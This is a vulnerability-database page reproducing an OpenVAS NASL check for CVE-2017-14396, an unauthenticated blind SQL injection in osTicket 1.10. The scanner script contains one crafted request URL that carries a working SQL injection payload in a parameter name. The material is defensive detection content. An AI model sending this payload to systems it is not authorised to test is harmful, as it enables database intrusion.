Lucene search
+L

osTicket < 1.10.1 SQLi Vulnerability - Active Check

🗓️ 18 Sep 2017 00:00:00Reported by Copyright (C) 2017 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 209 Views

osTicket < 1.10.1 SQLi Vulnerability - Active Check. Unauthenticated SQL injection vulnerability in osTicket version 1.10 and prior. Update to version 1.10.1 or later

Related
Refs
Code
ReporterTitlePublishedViews
Family
CNVD
Enhancesoft osTicket SQL Injection Vulnerability
13 Sep 201700:00
cnvd
CVE
CVE-2017-14396
12 Sep 201721:00
cve
Cvelist
CVE-2017-14396
12 Sep 201721:00
cvelist
Exploit DB
osTicket 1.10 - SQL Injection (PoC)
12 Sep 201700:00
exploitdb
EUVD
EUVD-2017-5899
7 Oct 202500:30
euvd
NVD
CVE-2017-14396
12 Sep 201721:29
nvd
Prion
Sql injection
12 Sep 201721:29
prion
# Copyright (C) 2017 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:osticket:osticket";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140374");
  script_version("2022-05-05T09:07:46+0000");
  script_tag(name:"last_modification", value:"2022-05-05 09:07:46 +0000 (Thu, 05 May 2022)");
  script_tag(name:"creation_date", value:"2017-09-18 16:34:35 +0700 (Mon, 18 Sep 2017)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2017-09-21 18:37:00 +0000 (Thu, 21 Sep 2017)");

  script_cve_id("CVE-2017-14396");

  script_tag(name:"qod_type", value:"remote_analysis"); # Blind SQL Injection

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("osTicket < 1.10.1 SQLi Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("osticket_http_detect.nasl");
  script_mandatory_keys("osticket/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"osTicket is prone to an unauthenticated SQL injection (SQLi)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"By constructing an array via use of square brackets at the end
  of a parameter name it is possible to inject SQL commands.");

  script_tag(name:"affected", value:"osTicket version 1.10 and prior.");

  script_tag(name:"solution", value:"Update to version 1.10.1 or later.");

  script_xref(name:"URL", value:"http://osticket.com/blog/125");
  script_xref(name:"URL", value:"https://pentest.blog/advisory-osticket-v1-10-unauthenticated-sql-injection/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir =="/")
  dir = "";

# blind SQL injection
url = dir + '/file.php?key%5Bid%60%3D1%20AND%202735%3D2735%23]=1&signature=1&expires=15104725311';

if (http_vuln_check(port: port, url: url, pattern: "Status: 422 Unprocessable Entity")) {
  report = "The response indicates that a blind SQL injection is possible.\n\nRequest URL: " +
           http_report_vuln_url(port: port, url: url, url_only: TRUE);
  security_message(port: port, data: report);
  exit(0);
}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 May 2022 00:00Current
10High risk
Vulners AI Score10
CVSS 27.5
CVSS 39.8
EPSS0.02918
209